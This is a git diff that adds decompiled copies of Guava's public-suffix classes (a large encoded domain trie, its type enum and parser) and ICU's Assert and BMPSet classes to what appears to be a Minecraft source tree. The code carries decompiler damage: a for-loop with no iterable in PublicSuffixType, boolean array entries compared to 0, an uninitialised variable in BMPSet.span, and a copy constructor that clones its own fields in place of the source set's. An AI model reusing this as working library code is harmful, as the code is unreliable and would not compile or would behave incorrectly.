eot?h&asairawo?cugo?s&ahoyot?oyim???k&a&mok?zako??ihssi??motay?rogamag??n&an&ikeh?ok??ihssin??o&got?ihsin?jna?rihsnihs?suf?tes??u&bo?raho?s&oyik?takihs??yrihc?zah????ok!.&a&dusay?kadih?mayotom?r&ah&im?usuy??umakan??sot!ihsin??wa&g&atik?odoyin??k&as?o????i&esieg?hco!k??jamu?k&a!sus??usto??ma&gak?k??rahan??o&mukus?n&i?ust!ihsagih???torum?yot!o???u&koknan?zimihsasot????ugamay!.&a&m&ayukot?ihso??toyot??e&bu?subat??i&gah?kesonomihs?nukawi?rakih??nanuhs?otagan?u&ba?foh?otim?stamaduk?uy?????sanamay!.&a&dihsoyijuf?mayabat?r&ahoneu?ustakihsin??w&a&k&ayah?ijuf??suran??ohs???egusok?i&ak?h&cimakan?s&anamay?od???k&asarin?u&feuf?sto????o&k&akanamay?ihcugawakijuf??nihso?t&asimawakihci?ukoh??uhc??spla-imanim?u&b&nan?onim??fok?hsok?rust?????ka&rabi!.&a&bukust?gok?kan!ihcatih??m&a&sak?timo?wi??ihsak?ustomihs??ni?r&a&hihcu?way??u&agimusak?ihcust???t&ag&amay?eman??oihcatih??w&ag&arukas?o??os??yi&moihcatih?rom???e&bomot?dirot?not?tadomihs??i&a&k&as?ot??rao??esukihc?gahakat?h&asa?catih??k&a&rabi?saguyr??ihsani?uy??ma?rukustamat??o&dnab?giad?him?kati?rihsijuf?soj?t&asorihs?im??yihcay??u&fius?kihsu?simak????sagan!.&a&m&abo?ihsust??natawak?r&abamihs?u&mo?ustam???wijihc?yahasi??i&akias?hies?k&asagan?i??masah??neznu?o&besas?darih?t&eso?og!imaknihs????ust&igot?onihcuk?uf????zayim!.&a&biihs?guyh?k&oebon?ustorom??mihsuk?r&emihsin?uatik??ta&katik?mim??wag&atik?odak??ya??e&banakat?sakog??i&hsayabok?kaza&kat?yim??m&animawak?ot&inuk?nihs????nanihcin?o&j&ik?onokayim??n&ibe?ust??tias??urahakat????ro&moa!.&a&dawot?turust?wasim??e&hon&ihc&ah?ihs??nas?og?ukor??sario??i&anarih?ganayati?hsioruk?jehon?kasorih?makihsah?nawo?r&amodakan?omoa???o&gnihs?kkat??u&ragust?stum????ttot!.&a&r&ahawak?uotok??sa&kaw?sim???egok?irottot?nanihcin?o&ganoy?nih?tanimiakas??u&bnan?z&ay?ihc??????ukuf!.&a&deki?gurust?ma&bo?h&akat?im??yustak??sakaw??eabas?i&akas?ho?jiehie?ukuf??nezihce!imanim??ono????o&c?diakkoh!.&a&deki?gakihset?hcebihs?k&adih?u&fib?narihs???m&ayiruk?hot?ihs&orihatik?ukuf??oras?usta??r&ib&a!ka??o?uruf??ozo?u&gakihsagih?oyot???sakim?ta&gikust?mun??w&a&ga&k&an?uf??nus!imak???k&aru?i&h&asa?sagih??kat?mak??omihs?um??zimawi??ine?oyk??yot??e&a&mustam?nan??b&a&kihs?yak??o&noroh?to???ian?k&ihsam?ufoto??nakami?ppoko!ihsin??sotihc?tad!okah??uonikat??i&a&bib?mokamot?n&a&k&kaw?oroh??wi??eomak?ihsatu?okik?usta&moruk?sakan????eib?h&c&ioy?u&bmek?irihs???s&ase?ekka?oknar?uesom???jufirihsir?k&amamihs?i&at?n???m&atik?otoyot??oa&kihs?rihs??r&a&hs?kihsi?mot??ihs&aba?ir??otarib???n&a&hctuk?rorum?se?tokahs??uber??o&kayot?m&ire?ukay??naruf!ima&k?nim???orih?r&ih&ibo?suk??o&bah?h&i&b?hsimak??sa??pnan?yan??umen??t&asoyik?eko?ukoh???u&bassa?kotnihs?m&assaw?uo??pp&akiin?en&ioto?nuk??ip??rato?s&akat?t&eb&e?i&a?hs!a??robon??m&e?o&m?takan???no&h?tamah??o&mik?s?t??u&kir?ppihc?st???onihsnihs?ufuras??uaru??yru!koh??zimihs!ok?????g!oyh!.&a&bmat?dnas?gusak?k&at?o&oyot?y??uzarakat??m&ayasas?irah??wa&g&ani?okak??k&i&hci?mak??oy???yi&hsa?monihsin???i&asak?hs&aka?i&at?nawak???j&awa!imanim??emih??k&a&goa?s&agama?ukuf??wihsin??i&hsog?m???mati?oia?rogimak??n&annas?esnonihs??o&gasa!kat??ka?n&ikat?o?ustat??rihsay?sihs?tomus?yas??u&bay?gnihs?????nagan!.&a&bukah?d&a&w?yim??e&ki?u??ii??k&a&s&ay?uki??zus??ihsoo?ousay??m&ay&akat?ii??i&hsukufosik?jii??ukihc??n&i!hsetat??uzii??r&ah?ugot??saim?t&agamay?oyim??w&a&g&a&kan?n??o??kustam?ziurak??onim!imanim??u&koo?s!omihs????ya&ko?rih???e&akas?nagamok?subo??i&gakat?h&asa?c&a!mo!nanihs???uonamay??sukagot??k&a&kas?mimanim?to??ia&atik?imanim??oa?uzihcom??m&akawak?ijuf?o!t???r&ato?ijoihs?omakat???n&ana?esnoawazon??o&hukas?n&a&gan?kan??i&hc?muza??ustat??romok?si&gan?k??tomustam??u&k&as?ohukihc??stamega????to&mamuk!.&a&gamay?mihsak?rahihsin?s&ok?ukama!imak???tamanim??enufim?i&h&cukik?soyotih??k&ihsam?u??nugo!imanim??romakat??o&ara?rihsustay?sa?t&amay?om&amuk?us??u!koyg???yohc??u&sagan?zo????yk!.&a&bmatoyk?k&ies?oemak?uzaw??mayi&h&cukuf?sagih??muk??nihsamay?rawatiju?t&away?ik???e&ba&nat!oyk??ya??di?ni??i&ju?kazamayo?manim??natnan?o&gnatoyk?kum?mak?rihsamayimanim?y&gakan?ka&koagan?s??oj???u&ruziam?z&ayim?ik??????ykot!.&a&d&i&hcam?mus??oyihc??k&atim?ihsustak??m&a&t!uko??yarumihsa&gih?sum???i&hs&agoa?ika?o!t??uzuok??ren???r&a&honih?wasago??iadok?umah??ssuf?t&ik?o??wa&g&anihs?ode??k&ara?ihcat???y&agates?ubihs???e&amok?donih?m&o?urukihsagih??soyik??i&enagok?gani?h&ca&da?tinuk??sabati??j&nubukok?oihcah??manigus??o&huzim?jihcah?n&akan?ih!sasum??urika??rugem?t&a&mayihsagih?nim??iat?ok??uhc?yknub??u&fohc?hcuf?kujnihs?????r&g?o??topsgolb,ufig!.&a&d&eki?ih??kimot?m&ayakat?ihsah??ne?raha&gi&kes?makak??sak??taga&may?tik??wa&g&ibi?ustakan??karihs!ihsagih????e&katim?uawak??i&gohakas?hc&apna?uonaw??k&ago?es?ot??m&anuzim?ijat??nak?urat??nanig?o&dog?jug?makonim?nim?roy?sihcih??u&fig?s&otom?t&amasak?oay????????k!.&art?gro?moc?per?ude?vog???m!ac??nd?o&g?hpih?oc??t??q&a?g?i!.&gro?lim?moc?ten?ude?vog???m??r&a!.&bog?gro?lim?moc!.topsgolb,?rut?t&en?ni??ude??4d5a4prebgm--nx?b?los?tsuen??b!.&21g?b!mi??c&er?sp?te??d&em?mb?n&f?i??rt??f&gg?ni??g&el?l&s?z??n&c?e??ol&b?f?v??pp?ro??i&kiw?sp?te?xat??l&el?im?sq??m&a?da?f?ic?o&c!.topsgolb,?n???nce?o&ce?do?et?i&b?dar??rp?ta??p&m!e?t??ooc?se??qra?r&af?ga?oj?tn?ut??su&j?m??t&am?e&n?v??nc?o&f?n??ra?sf??ude?v&da?og?rs?t????c!.&as?ca?de?if?o&c?g??ro???e&e&b?rac??t&nec?upmoc???f!.&aterg?cidessa?drp?e&citsuj-reissiuh?rianiretev?sserp??i&cc?rgabmahc??m&o&c?n??t??n&eicamrahp?icedem??ossa?se&lbatpmoc-strepxe?riaton?tsitned-sneigrurihc?uova??t&acova?opsgolb,r&epxe-ertemoeg?op!orea????vuog??avc7ylqbgm--nx??g!.&gro?moc?t&en?opsgolb,?ude?vog???h!.&eman?mo&c?rf??zi??ur??i!.&a&61f4a3abgm--nx?rf4a3abgm--nx??ca?di?gro?hcs?oc?ten?vog?نار&يا?یا???aper??k!.&c&a?s??e&n?p?r??gk?iggnoeyg?kub&gn&oeyg?uhc??noej??l&im?uoes??man&gn&oeyg?uhc??noej??n&as&lu?ub??o&e&hcni?jead??wgnag???o&c?g??ro?s&e?h?m??topsgolb,u&gead?j&ej?gnawg?????l!.&gro?moc?ten?ude?vog???m!.&topsgolb,vog???n!.&gro?moc?ofni?ten?ude?vog?zib???otca?p!.&alsi?ca?eman?forp?gro?moc?o&fni?rp??t&en?se??ude?vog?zib???s?t.cn.vog?ubad??s&8sqif--nx?9zqif--nx?a!.vog?gev?lliv?mtsirhc??b!.&gro?moc?ten?ude?vog??oj??ci&hparg?p??d&nomaid?rac??e!.&bog?gro?mo&c!.topsgolb,?n??ude??civres?d&d2bgm--nx?oc??i&lppus?rtsudni?treporp??jaiv?l&cycrotom?gnis??moh?ohs?picer?rut&cip?nev??si&rpretne?urc??taicossa?vig??g!nidloh??h5c822qif--nx?i!.&ekacpuc,gro?moc?t&en?ni??ude?vog??rap??k&cor?hxda08--nx?row??l!.&gro?oc??atner?essurb?oot??m!.&gro?moc?ten?ude?vog??etsys??n&agorf?ia&grab?mod??oit&acav?cudorp?ulos???o&dnoc?t&ohp?ua???p!.&ces?gro?moc?olp?ten?ude?vog??it??r!.&ca?gro?ni?oc?ude?vog??atiug?e&dliub?erac?ntrap??otcartnoc??s&alg?en&isub?tif???t&h&cay?gilf??neve?rap??u!.&a&c!.&21k?bil?cc???g!.&21k?bil?cc???i!.&21k?bil?cc???l!.&21k?bil?cc???m!.&21k!.&hcorap?rthc?tvp???bil?cc???p!.&21k?bil?cc???si?v!.&21k?bil?cc???w!.&21k?bil?cc????c&d!.&21k?bil?cc???n!.&21k?bil?cc???s!.&21k?bil?cc????d&ef?i!.&21k?bil?cc???m!.&21k?bil?cc???n!.&21k?bil?cc???s!.&bil?cc????e&d!.&21k?bil?cc???las-4-&dnal,ffuts,?m!.&21k?bil?cc???n!.&21k?bil?cc????h&n!.&21k?bil?cc???o!.&21k?bil?cc????i&h!.&bil?cc???m!.&21k?bil?cc???nd?r!.&21k?bil?cc???v!.&21k?bil?cc???w!.&21k?bil?cc????jn!.&21k?bil?cc???k&a!.&21k?bil?cc???o!.&21k?bil?cc????l&a!.&21k?bil?cc???f!.&21k?bil?cc???i!.&21k?bil?cc????mn!.&21k?bil?cc???n&i!.&21k?bil?cc???m!.&21k?bil?cc???sn?t!.&21k?bil?cc????o&c!.&21k?bil?cc???m!.&21k?bil?cc????r&a!.&21k?bil?cc???o!.&21k?bil?cc???p!.&21k?bil?cc????s&a!.&21k?bil?cc???dik?k!.&21k?bil?cc???m!.&21k?bil?cc????t&c!.&21k?bil?cc???m!.&21k?bil?cc???u!.&21k?bil?cc???v!.&21k?bil?cc????ug!.&21k?bil?cc???v&n!.&21k?bil?cc???w!.cc???xt!.&21k?bil?cc???y&b-si,k!.&21k?bil?cc???n!.&21k?bil?cc???w!.&21k?bil?cc????za!.&21k?bil?cc????ah?e??w!.&gro?moc?s&ndnyd,tepym,?ten?ude?vog??eiver??yot??t&0srzc--nx?a!.&ca?o&c!.topsgolb,?fni,?ro?v&g?irp,?zib,?c?e?rcomed??b!.&gro?moc?ten?ude?vog???e&em?kram?n!.&a&l-morf,z,?bg,dnab-eht-ni,e&ht-no-eciffo,libom-eruza,mohtanyd,nozdop,rehurht,s,tis-repparcs,?fehc-a-si,k&eeg-a&-si,si,?u,?ni,o&c-morf,jodsnd,?p&i&emoh,fles,?j,mac-dnab-ta,o&-oidar-mah,hbew,?paduolc,tfe&moh,vres,??s&aila&nyd,snd,?bbevres,e&suohsyub,tisbeweruza,?ndgolb,sa-skcik,?t&enretnifodne,i-&ekorb,s&eod,lles,teg,??norfduolc,sixetnod,?uh,x&inuemoh,unilemoh,?y&ltsaf.&dorp.&a,labolg,?lss.&a,b,labolg,??n-morf,?za-morf,??v??fig?g!.&bog?dni?gro?lim?moc?ten?ude???h!.&dem?gro?l&er?op??m&oc?rif??o&fni?rp?s&rep?sa???po&hs?oc??t&en?luda?ra??ude?vuog???i!.&a&at?b?c!cul??dv?i&blo&-oipmet?oipmet??cserb?drabmol?g&gof?urep??l&gup?i&cis?me&-oigger?oigger???uig&-&aizenev&-iluirf?iluirf??ev&-iluirf?iluirf??v&-iluirf?iluirf???aizenev&-iluirf?iluirf??ev&-iluirf?iluirf??v&-iluirf?iluirf????n&a&brev?cul?pmac?tac??idras?obrac&-saiselgi?saiselgi??resi??otsip?r&b&alac!-oigger?oigger??mu??dna&-&attelrab-inart?inart-attelrab??attelrabinart?inartattelrab?ssela??epmi?ugil??tnelav&-obiv?obiv??vap?z&e&nev?ps&-al?al???irog???l&iuqa!l??leib??m&or?rap??n!acsot?e&dom?is?sec&-ilrof?ilrof???g&amor&-ailime?ailime??edras?olob??i&ssem?tal??ne!var??o&cna?merc?rev?vas???oneg?p?r!a&csep?rr&ac&-assam?assam??ef??von??etam?tsailgo!-lled?lled???s!ip?sam&-ararrac?ararrac??u&caris?gar???t!a&cilisab?recam??resac?soa!-&d&-&ellav?lav??ellav?lav??ellav??d&-&ellav?lav??ellav?lav??ellav??te&lrab&-&airdna-inart?inart-airdna??airdnainart?inartairdna??ssinatlac???udap?v!o&dap?neg?tnam???zn&airb&-a&lled-e-aznom?znom??a&lledeaznom?znom??eaznom??e&c&aip?iv??soc?top??om???b&c?m!u??v??c&f?is?l?m?p?r?v??d&p?u??e&c!cel?inev?nerolf??f?g!ida&-&a&-onitnert?onitnert??otla!-onitnert?onitnert???a&-onitnert?onitnert??otla!-onitnert?onitnert????hcram?l?m!or??n&idu?o&n&edrop?isorf??torc???p?r?s&erav?ilom??t!nomeip?s&eirt?oa!-eellav?eellav????v?znerif??g&a?b?f?il?o?p?r?up?vf??hc?i&b?c?dol?f?l!lecrev?opan?rof&-anesec?anesec???m?n&a&part?rt&-attelrab-airdna?attelrabairdna???imir?ret??p?r!a&b?ilgac?ssas???s!idnirb??t&ei&hc?r??sa??v??l&a!c??b?c?o&m?rit&-&d&eus&-onitnert?onitnert??us&-onitnert?onitnert???s&-onitnert?onitnert???d&eus!-onitnert?onitnert??us&-onitnert?onitnert???s&-onitnert?onitnert?????m&ac?f?i?ol?r??n&a!lim?slab??b?c?e!v?zob??irut?m!p??p?r?t??o&a!v??b!retiv??c!cel??enuc?g!ivor??i&dem&-onadipmac?onadipmac??pmet&-aiblo?aiblo??rdnos?zal??l?m!a&greb?ret??oc?re&f?lap???n!a&dipmac&-oidem?oidem??lim?tsiro?zlob??ecip&-ilocsa?ilocsa??i&bru&-orasep?orasep??lleva?rot?tnert??r&elas?ovil??ulleb??p?r!a&sep&-onibru?onibru??znatac??oun??s!ivert?sabopmac??t!arp?e&nev?ssorg??n&arat?e&girga?rt?veneb????zz&era?urba???p&a?s?t??qa?r&a!m?s??b!a??c?f?g?k?me?o?p?s?t?v??s&a&b?iselgi&-ainobrac?ainobrac???b?c?elpan?i?m?ot?s?t?v??t&a?b?c?l?m?nomdeip?o!psgolb,?p?v??u&de?l?n?p??v&a?og?p?s?t?v??y&drabmol?ellav&-atsoa?atsoa??licis?nacsut??z&al?b?c?p????l!.vog??m!.&gro?moc?ten?ude???n&e&g?m&eganam?piuqe???i!.ue??uocsid??ocs?p!.&emon?gro?lbup?moc?t&en?ni?opsgolb,?ude?vog???r&epxe?op&er?pus???s!.&adaxiabme?e&motoas?picnirp?rots??gro?lim?moc?o&c?dalusnoc??ten?ude?vog??e&b?padub?r??irolf?op??t!.&eman?gro?ibom?levart?m&oc?uesum??o&c?fni?r&ea?p???pooc?sboj?t&en?ni??ude?vog?zib???y?ztej??u&a!.&a&s?w??civ?d&i?lq??fnoc?gro?moc!.topsgolb,?nsa?o&fni?risc??sat?t&ca?en?n??ude!.&a&s?w??civ?dlq?sat?t&ca?n??wsn???vog!.&a&s?w??civ?dlq?sat?tca???wsn?zo???c!.&fni?gro?moc?ten?ude?vog???de?e?h!.&0002?a&citore?idem?kitore??edszot?gro?ilus?letoh?m&alker?lif?t?urof??naltagni?o&c?ediv?fni?levynok?nisac??pohs?rarga?s&a&kal?zatu??emag?wen??t&lob?opsgolb,rops??virp?xe&s?zs??ytic?zsagoj??os??l?m!.&ca?gro?moc?oc?ro?ten?vog???n!.&eni&esrem,m,?tenkcahs,?em??r!.&a&dgolov?gulak?i&hsavuhc?kymlak?lerak?rikhsab?ssakahk?t&ayrub?rumdu?ukay??vodrom??k&dohkan?nidud?t&a&hcmak?yv??ingam?okuhc???l&o-rakhsoj?ut??mortsok?nalap?ramas?tihc?vut?yegyda?znep??bps?ca?d&arg&oglov?z??nr?orogleb??e&du-nalu?niram??g&bc?ersom?ineok?r&o?ub&-e?n&ero?iretakey?????hzenorov?i&a&natsuk?tla??mok?ram??k&ihclan?otsovidalv?s&l&aru-k?egnahkra?iron??m!o!t???n!a&mrum?yrb??eloms?i&baylehc?lahkas-onhzuy??odv??r&ayonsark?ib&isovon?mis??ogitayp?u&k?ma???t!epil?ukri??v&ehzi?o&rabahk?stbur?????l&a&kiab?ma&j?y???e&-iram?hc??im?o&kso?porvats?yro??valsoray??m&du?o&c?t??rep??n&a&buk?dagam?gruk?hkartsa?rzys?ts&egad?ratat??za&k?yr???emuyt?ilahkas?rv?ystirast??ovo&navi?remek??pp?r&aj?evt?hck?i&b?midalv??uma??s&itym?mk?sabzuk??t&en?ni?s&aeraf?et??ugrus??ude?v&hk?o&bmat?g?ksp?n!n??rik?taras??ts??wmc?ynzorg?z&akvakidalv?kn?ns?tp???ug??s?v?ykuyr??v&b?c!.topsgolb,?ih?l!.&di?fnoc?gro?lim?moc?nsa?ten?ude?vog???m!.&eman?gro?lim?m&oc?uesum??o&fni?r&ea?p???pooc?t&en?ni??ude?vog?zib???o&g?m??s!.&bog?der?gro?moc?ude???t!.&bew-eht-no,naht-&esrow,retteb,?sndnyd,??uqhv--nx??w&a!.moc??b!.&gro?oc???c!.&gro?moc?ten?ude???en?g?m!.&ca?gro?m&oc?uesum??oc?pooc?t&en?ni??ude?vog?zib???o&csom?h??p!.&de?en?o&c?g??ro?ualeb???r!.&ca?lim?moc?oc?t&en?ni??ude?v&og?uog???n??t!.&a46oa0fz--nx?b&82wrzc--nx?ulc??emag?gro?lim?moc?t&en?opsgolb,?ude?v&di?og?ta0cu--nx??zibe?業商?織組?路網????x&a?c!.&hta,vog???m!.&bog?gro?moc?t&en?opsgolb,?ude??ma2ibgy--nx??s!.vog??xx??y&4punu--nx?ad!i&loh?rfkcalb??ot??b!.&fo?lim?moc?vog???cnega?g!.&moc?oc?ten??olonhcet??hpargotohp?k!.&gro?moc?ten?ude?vog???l!.&clp?d&em?i??gro?hcs?moc?ten?ude?vog??ppus??m!.&eman?gro?lim?moc?ten?ude?vog??edaca?ra??napmoc?os?p!.&gro?lim?moc?pooc?ten?ude?vog???r&ellag?otcerid?tnuoc?uxul??s!.&gro?lim?moc?ten?ude?vog???ti&nummoc?srevinu??u!.&bug?gro?lim?moc?ten?ude???van?xes??z&a!.&eman?gro?lim?moc?o&fni?rp??pp?t&en?ni??ude?vog?zib???b!.&az,gro?moc?ten?ude?vog???c!.topsgolb,?d!.&gro?lop?moc?ossa?t&en?ra??ude?vog???ib!.&e&ht-rof,mos-rof,rom-rof,?p&ifles,ohbew,?retteb-rof,sndnyd,??k!.&gro?lim?moc?ten?ude?vog???n.oc.topsgolb,s!.&ca?gro?oc???t!.&c&a?s??e&m?n??ibom?l&etoh?im??o&c?fni?g??ro?vt???u!.&gro?moc?oc?ten???yx?zub??авксом?брс?гро?зақ?итед?н&йално?ом??рку?сур?тйас?фр?اي&روس?سيلم??برغملا?ة&كبش?ي&دوعسلا?روس??یدوعسلا??ت&اراما?راھب??ر&ئازجلا?ازاب?صم?طق??سنوت?عقوم?ن&ا&ر&يا?یا??مع??درالا?ميلا?يطسلف??هيدوعسلا?ۃیدوعسلا?तराभ?नठगंस?তরাভ?ালংাব?ਤਰਾਭ?તરાભ?ாயித்நஇ?ைக்ஙலஇ?்ரூப்பக்ஙிச?్తరాభ?ාකංල?ยทไ?ეგ?なんみ?业企?东广?你爱我?信中?务政?动移?卦八?司公?团集?国中?國中?址网?坡加新?城商?山佛?店商?府政?戏游?机手?构机!织组??标商?港香?湾台?灣&台?臺??界世?益公?线在?络网?网文中?국한?성삼??");
+  
+
+
+
+
+
+
+  public static final ImmutableMap<String, PublicSuffixType> UNDER = TrieParser.parseTrie("az?db?e&k?y??gp?hk?in?jf?k&c?f?u!.hcs???li?m&j?m?z??nb?p&j.&a&mahokoy?yogan??ebok?i&adnes?kasawak??oroppas?uhsuykatik??n??r&e?t??te?ug?w&k?z??yc?z&m?n???");
+  
+
+
+
+
+
+
+
+  public static final ImmutableMap<String, PublicSuffixType> EXCLUDED = TrieParser.parseTrie("k&c.www?u.&cin?d&naltocs-yrarbil-lanoitan?om??l&b?en??sln?t&ej?nemailrap??yrarbil-hsitirb???pj.&a&mahokoy.ytic?yogan.ytic??ebok.ytic?i&adnes.ytic?kasawak.ytic??oroppas.ytic?uhsuykatik.ytic??rt.cin?zm.atadelet??");
+  
+  private PublicSuffixPatterns() {}
+}
diff --git a/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixType.java b/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixType.java
new file mode 100644
index 0000000..8872e19
--- /dev/null
+++ b/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixType.java
@@ -0,0 +1,64 @@
+package com.google.thirdparty.publicsuffix;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+ enum PublicSuffixType
+{
+  PRIVATE(':', ','), 
+  
+  ICANN('!', '?');
+  
+
+  private final char innerNodeCode;
+  
+  private final char leafNodeCode;
+  
+  private PublicSuffixType(char innerNodeCode, char leafNodeCode)
+  {
+    this.innerNodeCode = innerNodeCode;
+    this.leafNodeCode = leafNodeCode;
+  }
+  
+  char getLeafNodeCode() {
+    return leafNodeCode;
+  }
+  
+  char getInnerNodeCode() {
+    return innerNodeCode;
+  }
+  
+  static PublicSuffixType fromCode(char code)
+  {
+    for (PublicSuffixType value : ) {
+      if ((value.getInnerNodeCode() == code) || (value.getLeafNodeCode() == code)) {
+        return value;
+      }
+    }
+    throw new IllegalArgumentException("No enum corresponding to given code: " + code);
+  }
+  
+  static PublicSuffixType fromIsPrivate(boolean isPrivate) {
+    return isPrivate ? PRIVATE : ICANN;
+  }
+}
diff --git a/src/minecraft/com/google/thirdparty/publicsuffix/TrieParser.java b/src/minecraft/com/google/thirdparty/publicsuffix/TrieParser.java
new file mode 100644
index 0000000..0f34aae
--- /dev/null
+++ b/src/minecraft/com/google/thirdparty/publicsuffix/TrieParser.java
@@ -0,0 +1,135 @@
+package com.google.thirdparty.publicsuffix;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Joiner;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableMap.Builder;
+import com.google.common.collect.Lists;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class TrieParser
+{
+  private static final Joiner PREFIX_JOINER = Joiner.on("");
+  
+
+  TrieParser() {}
+  
+  static ImmutableMap<String, PublicSuffixType> parseTrie(CharSequence encoded)
+  {
+    ImmutableMap.Builder<String, PublicSuffixType> builder = ImmutableMap.builder();
+    int encodedLen = encoded.length();
+    int idx = 0;
+    while (idx < encodedLen) {
+      idx += doParseTrieToBuilder(Lists.newLinkedList(), encoded.subSequence(idx, encodedLen), builder);
+    }
+    
+
+
+    return builder.build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int doParseTrieToBuilder(List<CharSequence> stack, CharSequence encoded, ImmutableMap.Builder<String, PublicSuffixType> builder)
+  {
+    int encodedLen = encoded.length();
+    int idx = 0;
+    char c = '\000';
+    for (; 
+        
+        idx < encodedLen; idx++) {
+      c = encoded.charAt(idx);
+      if ((c == '&') || (c == '?') || (c == '!') || (c == ':') || (c == ',')) {
+        break;
+      }
+    }
+    
+    stack.add(0, reverse(encoded.subSequence(0, idx)));
+    
+    if ((c == '!') || (c == '?') || (c == ':') || (c == ','))
+    {
+
+
+
+      String domain = PREFIX_JOINER.join(stack);
+      if (domain.length() > 0) {
+        builder.put(domain, PublicSuffixType.fromCode(c));
+      }
+    }
+    idx++;
+    
+    while ((c != '?') && (c != ',') && 
+      (idx < encodedLen))
+    {
+      idx += doParseTrieToBuilder(stack, encoded.subSequence(idx, encodedLen), builder);
+      if ((encoded.charAt(idx) == '?') || (encoded.charAt(idx) == ','))
+      {
+        idx++;
+      }
+    }
+    
+
+    stack.remove(0);
+    return idx;
+  }
+  
+
+
+
+
+  private static CharSequence reverse(CharSequence s)
+  {
+    int length = s.length();
+    if (length <= 1) {
+      return s;
+    }
+    
+    char[] buffer = new char[length];
+    buffer[0] = s.charAt(length - 1);
+    
+    for (int i = 1; i < length; i++) {
+      buffer[i] = s.charAt(length - 1 - i);
+      if (Character.isSurrogatePair(buffer[i], buffer[(i - 1)])) {
+        swap(buffer, i - 1, i);
+      }
+    }
+    
+    return new String(buffer);
+  }
+  
+  private static void swap(char[] buffer, int f, int s) {
+    char tmp = buffer[f];
+    buffer[f] = buffer[s];
+    buffer[s] = tmp;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Assert.java b/src/minecraft/com/ibm/icu/impl/Assert.java
new file mode 100644
index 0000000..a97a509
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Assert.java
@@ -0,0 +1,23 @@
+package com.ibm.icu.impl;
+
+
+
+public class Assert
+{
+  public Assert() {}
+  
+
+  public static void fail(Exception e)
+  {
+    fail(e.toString());
+  }
+  
+  public static void fail(String msg) { throw new IllegalStateException("failure '" + msg + "'"); }
+  
+  public static void assrt(boolean val) {
+    if (!val) throw new IllegalStateException("assert failed");
+  }
+  
+  public static void assrt(String msg, boolean val) { if (!val) throw new IllegalStateException("assert '" + msg + "' failed");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/BMPSet.java b/src/minecraft/com/ibm/icu/impl/BMPSet.java
new file mode 100644
index 0000000..7f5ad53
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/BMPSet.java
@@ -0,0 +1,503 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UnicodeSet.SpanCondition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class BMPSet
+{
+  public static int U16_SURROGATE_OFFSET = 56613888;
+  
+
+
+
+
+  private boolean[] latin1Contains;
+  
+
+
+
+
+  private int[] table7FF;
+  
+
+
+
+
+  private int[] bmpBlockBits;
+  
+
+
+
+
+  private int[] list4kStarts;
+  
+
+
+
+
+  private final int[] list;
+  
+
+
+
+
+  private final int listLength;
+  
+
+
+
+
+  public BMPSet(int[] parentList, int parentListLength)
+  {
+    list = parentList;
+    listLength = parentListLength;
+    latin1Contains = new boolean['Ā'];
+    table7FF = new int[64];
+    bmpBlockBits = new int[64];
+    list4kStarts = new int[18];
+    
+
+
+
+
+
+    list4kStarts[0] = findCodePoint(2048, 0, listLength - 1);
+    
+    for (int i = 1; i <= 16; i++) {
+      list4kStarts[i] = findCodePoint(i << 12, list4kStarts[(i - 1)], listLength - 1);
+    }
+    list4kStarts[17] = (listLength - 1);
+    
+    initBits();
+  }
+  
+  public BMPSet(BMPSet otherBMPSet, int[] newParentList, int newParentListLength) {
+    list = newParentList;
+    listLength = newParentListLength;
+    latin1Contains = ((boolean[])latin1Contains.clone());
+    table7FF = ((int[])table7FF.clone());
+    bmpBlockBits = ((int[])bmpBlockBits.clone());
+    list4kStarts = ((int[])list4kStarts.clone());
+  }
+  
+  public boolean contains(int c) {
+    if (c <= 255)
+      return latin1Contains[c];
+    if (c <= 2047)
+      return (table7FF[(c & 0x3F)] & 1 << (c >> 6)) != 0;
+    if ((c < 55296) || ((c >= 57344) && (c <= 65535))) {
+      int lead = c >> 12;
+      int twoBits = bmpBlockBits[(c >> 6 & 0x3F)] >> lead & 0x10001;
+      if (twoBits <= 1)
+      {
+
+        return 0 != twoBits;
+      }
+      
+      return containsSlow(c, list4kStarts[lead], list4kStarts[(lead + 1)]);
+    }
+    if (c <= 1114111)
+    {
+      return containsSlow(c, list4kStarts[13], list4kStarts[17]);
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int span(CharSequence s, int start, int end, UnicodeSet.SpanCondition spanCondition)
+  {
+    int i = start;
+    int limit = Math.min(s.length(), end);
+    if (UnicodeSet.SpanCondition.NOT_CONTAINED != spanCondition)
+    {
+      while (i < limit) {
+        char c = s.charAt(i);
+        if (c <= 'ÿ') {
+          if (latin1Contains[c] == 0) {
+            break;
+          }
+        } else if (c <= '߿') {
+          if ((table7FF[(c & 0x3F)] & 1 << (c >> '\006')) == 0)
+            break;
+        } else { char c2;
+          if ((c < 55296) || (c >= 56320) || (i + 1 == limit) || ((c2 = s.charAt(i + 1)) < 56320) || (c2 >= 57344))
+          {
+            int lead = c >> '\f';
+            int twoBits = bmpBlockBits[(c >> '\006' & 0x3F)] >> lead & 0x10001;
+            if (twoBits <= 1 ? 
+            
+
+              twoBits == 0 : 
+              
+
+
+
+              !containsSlow(c, list4kStarts[lead], list4kStarts[(lead + 1)])) {
+              break;
+            }
+          }
+          else {
+            char c2;
+            int supplementary = UCharacterProperty.getRawSupplementary(c, c2);
+            if (!containsSlow(supplementary, list4kStarts[16], list4kStarts[17])) {
+              break;
+            }
+            i++;
+          } }
+        i++;
+      }
+    }
+    
+    while (i < limit) {
+      char c = s.charAt(i);
+      if (c <= 'ÿ') {
+        if (latin1Contains[c] != 0) {
+          break;
+        }
+      } else if (c <= '߿') {
+        if ((table7FF[(c & 0x3F)] & 1 << (c >> '\006')) != 0)
+          break;
